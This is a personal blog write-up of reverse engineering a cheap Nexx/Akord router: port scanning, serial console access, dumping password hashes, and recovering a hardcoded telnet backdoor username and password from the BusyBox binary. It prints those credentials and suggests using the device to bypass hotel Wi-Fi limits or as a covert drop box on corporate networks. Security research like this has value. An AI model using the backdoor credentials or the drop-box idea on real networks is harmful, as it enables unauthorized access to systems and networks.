Akord / Nexx Router fun

So again, I got a cheap and nasty router from Amazon:

Firstly it came without instructions, but on the bottom it has it’s default IP and credentials:

Going to the IP in a web browser your presented with the most basic UI ever, this is clearly designed for beginners.

The “advanced” option doesn’t give you that much more control. It’s interesting that there are pages to control the firewall that aren’t linked from the main UI. The web interface is all over HTTP (no SSL) and uses basic auth.

I didn’t spend too long looking at this as seemed pretty basic, there was no obvious command injection or interesting bugs. So on to nmap, which gave the following:

21/tcp  open     ftp         syn-ack ttl 128 ProFTPD 1.3.1
23/tcp  open     telnet      syn-ack ttl 128 BusyBox telnetd
80/tcp  open     tcpwrapped  syn-ack ttl 128
139/tcp open     netbios-ssn syn-ack ttl 128 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open     netbios-ssn syn-ack ttl 128 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
514/tcp filtered shell       no-response

It was possible to login to ftp using the default credentials, there was nothing in the default folder. Telnet however wasn’t working!

╰» telnet 192.168.8.1
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.

(none) login: admin
Login incorrect
(none) login: root
Login incorrect
(none) login: nexx
Login incorrect
Connection closed by foreign host.

Still wanting a root shell lets take this thing apart and find some debug interfaces (specifically serial ports)

Well that was easy enough, time to solder on some wires and find the baud rate:

╰» ./baudrate.py 

Starting baudrate detection on /dev/ttyUSB0, turn on your serial device now.
Press Ctl+C to quit.

@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@

���怘��f���▒�����`���������������
-snip-

@@@@@@@@@@@@@@@@@@@@@ Baudrate: 57600 @@@@@@@@@@@@@@@@@@@@@

1. Phy Mode = 9
2. Phy Mode = 9
E2PROM: D0 target power=0xff20 
E2PROM: 40 MW Power Delta= 0 
3. Phy Mode = 9
RTMP_TimerListAdd: add timer obj c010a148!
AntCfgInit: primary/secondary ant 0/1
Initialize RF Central Registers for E2 !!!
Initialize RF Central Registers for E3 !!!
Initialize RF Channel Registers for E2 !!!
-snip-
info, Sending discover... (9)
i

Detected baudrate: 57600

perfect, lets connect via screen, look around and pull some password hashes:

╰» screen /dev/ttyUSB0 57600

BusyBox v1.12.1 (2015-02-05 18:04:51 HKT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls
ls
lib           mnt           var           tmp           init
etc           www           dev           bin           usbserial.ko
sbin          usr           media         eject
etc_ro        sys           home          proc

# cat /etc/passwd
admin:$1$djcqD703$D.tSfPn46P.tt.0guk3/A0:0:0:Adminstrator:/:/bin/sh

# cat /etc/smbpasswd 
admin:0:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634

# cat /etc/proftpd.conf 
ServerName proftpd
DefaultAddress 192.168.8.1
ServerType  standalone
Defaulr on
AuthUserFile /etc/passwd
Port 21
Umask 022
MaxInstances 20
DefaultRoot /media/sda/
User admin
Group admin
UseReverseDNS off
IdentLookups off
RootLogin on
DelayEngine off

well thats annoying! I didn’t even bother cracking these hashes as the usernames didn’t work trying to login to telnet. After some googling it seems there is a hardcoded backdoor somewhere, I figure the best way is to check the telnet binary:

# cd sbin
# ls -la
lrwxrwxrwx    1 0        0              17 telnetd -> ../../bin/busybox
lrwxrwxrwx    1 0        0              17 chpasswd -> ../../bin/busybox
drwxrwxrwx    5 500      500             0 ..
drwxrwxrwx    2 500      500             0 .

well thats odd! some more googling I come to here which states: “BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides minimalist replacements for most of the utilities you usually find in GNU coreutils, util-linux, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts.”

That makes more sense, so lets pull that binary via FTP and open in our new favourite reversing program “Ghidra” and start by searching for strings.

You can identify the architecture to decompile with by googling the chip.
(https://www.mediatek.com/products/homeNetworking/mt7620n-a)

# cd /media/sda/
# cp /bin/busybox .

Well that was easy, lets see if finding the password is as simple.

Damn it was! we’ve successfully found the username “nexxadmin” with the password “y1n2inc.com0755”

╰» telnet 192.168.0.52
Trying 192.168.0.52...
Connected to 192.168.0.52.
Escape character is '^]'.

(none) login: nexxadmin
Password: 


BusyBox v1.12.1 (2015-02-05 18:04:51 HKT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 

So now we have remote root on the device it’s game over.
All in all, it’s a pretty good router, I’d definitely flash a new version of openwrt on it, but for it’s cheapness and small size it’s a useful little device.
For example, a hotel I was staying in recently only allowed 2 devices to connect to their wireless for free, this would be perfect to allow multiple!
It would also make a good little drop box; plug in to corporate network and get wireless access remotely.
It’s really only limited by your imagination.

I hope this post has been useful and you’ve at least learned something!
As always, comments, shares etc are always appreciated.

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